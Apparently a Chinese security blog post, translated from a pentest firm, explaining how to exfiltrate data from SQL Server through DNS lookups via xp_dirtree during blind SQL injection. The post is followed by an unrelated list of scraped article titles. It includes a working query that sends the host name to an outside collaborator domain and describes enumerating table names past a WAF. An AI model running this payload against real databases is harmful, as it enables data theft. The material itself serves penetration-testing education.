泄露数据的方法有许多,但你是否知道可以使用DNS和SQLi从数据库中获取数据样本?本文我将为大家介绍一些利用SQL盲注从DB服务器枚举和泄露数据的技术。

在最近的一个Web应用测试中,我发现了一个潜在的SQLi漏洞。使用Burp的Collaborator服务通过DNS交互最终我确认了该SQL注入漏洞的存在。我尝试使用SQLmap进行一些额外的枚举和泄露,但由于SQLmap header的原因WAF阻止了我的请求。我需要另一种方法来验证SQLi并显示可以从服务器恢复数据。

在之前的文章中,我向大家展示了如何使用xp_dirtree通过SQLi来捕获SQL Server用户哈希值的方法。这里我尝试了相同的方法,但由于客户端防火墙上的出站过滤而失败了。此外,在上篇文章中我还引用了GracefulSecurity的文章内容,而在本文中它也将再次派上用场。

即使有出站过滤,xp_dirtree仍可用于从网络中泄露数据。这是因为SQL服务器必须在xp_dirtree操作的目标上执行DNS查找。因此,我们可以将数据添加为域名的主机或子域部分。例如,如果我在collaborator.redsiege.net上设置DNS服务器,我可以强制xp_dirtree在data.collaborator.redsiege.net上执行DNS查找,我的DNS服务器将接收该主机的查询,允许我提取来自请求的数据。可能这么说你还有些混乱,我们通过一个实例来讲解。

请思考以下代码:

DECLARE @data varchar(1024);
SELECT @data = (SELECT HOST_NAME());
EXEC('master.dbo.xp_dirtree "\\'+@data+'.collaborator.redsiege.net\foo$"');

在此SQL查询中,我们声明了一个名为data的变量,我们使用SELECT HOST_NAME()的结果来填充该变量,然后在\hostname.collaborator.redsiege.net上尝试xp_dirtree。

我的测试系统名为INTRUDER。在我的测试系统上执行这个查询导致了对INTRUDER.collaborator.redsiege.net的查找,如下所示。

在这一点上,我知道有一种可靠的方法可以来泄露数据,即使需要手动完成。当然,对于这个演示我使用SQL Server Management Studio来显示结果发出查询,但实际上这与通过SQLi实现这一点并没有太大区别,唯一的不同就是需要对部分查询进行URL编码。

在下面的示例中,红框中的查询语句将会为我们从Northwind数据库中返回表名。

在该查询中你应该已经注意到了有2个SELECT语句。内部SELECT语句(在上面截图中调用的)返回Northwind数据库中表名的前10个结果,并按升序字母顺序排序。然后,外部(第一个)SELECT语句选择按字母顺序降序排序的结果集的第一个结果。此查询的结果是我们检索Northwind数据库中第10个表的名称。你是不是感到有些疑惑?让我们来分解下。

以下内部的SELECT语句,它将返回10个结果并按升序字母顺序排序。

如下所示,完整的查询只返回第10个表的名称。这是因为我们首先返回了10个结果,并按升序字母顺序排序,然后我们又执行了第二个SELECT,其中只返回按降序字母顺序排序的第一个结果。这样一来查询结果将只会为我们返回表名列表中的第10个结果。

知道了这一点后,我们就可以使用Intruder迭代所有可能的表名,只需修改第二个SELECT语句并增加每个请求中的结果数即可。

如果你在测试中碰到SQL盲注而SQLmap无法帮助你完成任务时,你可以参考以下我找到的一些资料链接,或许它们能帮你完成任务甚至为你带来新的思考:

http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet

https://www.gracefulsecurity.com/sql-injection-out-of-band-exploitation/

https://www.w3schools.com/SQL/trysqlserver.asp?filename=trysql_func_sqlserver_substring

*参考来源:redsiege,FB小编secist编译,转载请注明来自FreeBuf.COM

hql中获取前一天的数据_如何使用DNS和SQLi从数据库中获取数据样本相关推荐

  1. typescript获取数据库数据_肿瘤药敏多组学数据库(GDSC)的数据介绍和获取

    在第一期的GDSC数据总览中,我们根据数据库的模块进行总体的介绍.今天我们再深入了解GDSC所包含的数据及其获取的方法,也就是GDSC的数据下载模块. GDSC数据下载的模块,分为4个模块,分别是AN ...

  2. php 分表 实战,PHP实战:1亿条数据如何分表100张到Mysql数据库中(PHP)

    <PHP实战:1亿条数据如何分表100张到Mysql数据库中(PHP)>要点: 本文介绍了PHP实战:1亿条数据如何分表100张到Mysql数据库中(PHP),希望对您有用.如果有疑问,可 ...

  3. msdb 数据库_如何检索有关存储在MSDB数据库中的SSIS包的信息

    msdb 数据库 介绍 (Introduction) Nowadays, most mid-size companies have implemented a Data Warehouse (DWH) ...

  4. python爬取玉米、小麦、水稻信息数据到本地为网页形式和mysql数据库中

    1.创建Scrapy项目 scrapy startproject ExGrain 2.进入项目目录,使用命令genspider创建Spider scrapy genspider exgrain ex- ...

  5. 使用mybatis插入数据到数据库中,显示插入成功,且没有报错,但是数据库中并没有新插入的数据的原因

    使用mybatis插入数据到数据库中,显示插入成功,且没有报错,但是数据库中并没有数据的原因 没有提交事务,有时没有配置自动提交事务的设置,所以需要手动提交事务,即 sqlSession.commit ...

  6. 如何判断数据库中的两个表是否相同(相等)?比较数据库中的两个表是否完全相同,包括字段和每条记录

    如何判断数据库中的两个表是否相同(相等)?比较数据库中的两个表是否完全相同,包括字段和每条记录 目录

  7. flux读取不到数据_【Java】spring-webflux两种开发模式,获取不到使用ajax的post提交的数据?...

    遇到的问题: 1.使用注解式:在js中使用ajax提交post数据name,在controller中使用@RequestBody无法获取到数据. 2.使用函数式:在js中使用ajax提交post数据n ...

  8. sql 获取两个月内数据_如何在3个月的时间内自学成为数据分析师?

    从一名0基础的用户运营自学成为数据分析师,我花了大半年的时间,但是抛开工作时间,系统性的学习只花了3个月. 这篇文章会从学习资源和学习路径两个方面分享我的自学经验,希望能对大家有所帮助. 先来说说有哪 ...

  9. 斯坦福的著名小兔子模型的点云数据_传统方法的点云分割以及PCL中分割模块

    之前在微信公众号中更新了以下几个章节 1,如何学习PCL以及一些基础的知识 2,PCL中IO口以及common模块的介绍 3,  PCL中常用的两种数据结构KDtree以及Octree树的介绍 有兴趣 ...

  10. .net 从txt中读取行数据_【VBA项目】从指定文件中读取数据并绘制图表

    VBA 是一种很久远的编程语言,但并不过时.在满足以下两个条件时,借助 VBA 可以极大的提升生产率,降低出错率: 你的电脑上不允许自主安装软件: 你需要执行的工作中大部分的步骤都是固定且重复的. 项 ...

最新文章

  1. 单引号(')和双引号()
  2. [2-SAT]【学习笔记】【未完】
  3. Reverse Vowels of a String (反转字符串中的母音)
  4. J2ME手游开发日记
  5. excel大作业素材_Excel | 同一单元格内多个姓名,如何统计人数
  6. 零基础写Java知乎爬虫之进阶篇
  7. STM32 DMA传输
  8. 查看linux上卸载mysql数据库_linux卸载mysql数据库
  9. Python import容易犯的一个错误
  10. 判断质数和合数python代码_【奇技淫巧】利用正则进行需要整除操作的判断,如:奇偶性,质数合数...
  11. mysql analyze_技术分享 | MySQL EXPLAIN ANALYZE
  12. 科学计算机复利现值怎么计算公式,复利现值计算公式
  13. 笔记本电脑键盘坏了,有密码应该如何打开?(生活小技巧)
  14. Unity3D中文视频教程【超清+精选】
  15. 快速干净卸载Oracle
  16. OpenAi 语法修正
  17. 【python+pyqt5】B站直播弹幕姬
  18. 创业项目怎么获得专业的投融资服务?
  19. #插件需求# ffmpeg下载mpd切片视频
  20. Java调用百度OCR文字识别API实现图片文字识别软件

热门文章

  1. css3-d ,动画,圆角
  2. 转载:EM算法的最精辟讲解
  3. NSDate 时间戳与字符串转换
  4. JVM监控及诊断工具GUI篇之JProfiler
  5. 苏三30篇原创高质量文章汇总
  6. javascript 时间格式输出FormatDate函数
  7. Java中实现十进制数转换为二进制的三种方法
  8. 「MYSQL」MYSQL中的int(11)到底代表什么意思?
  9. 42Exchange 2010升级到Exchange 2013-证书申请配置
  10. 开发移动网页应用的一些技术指导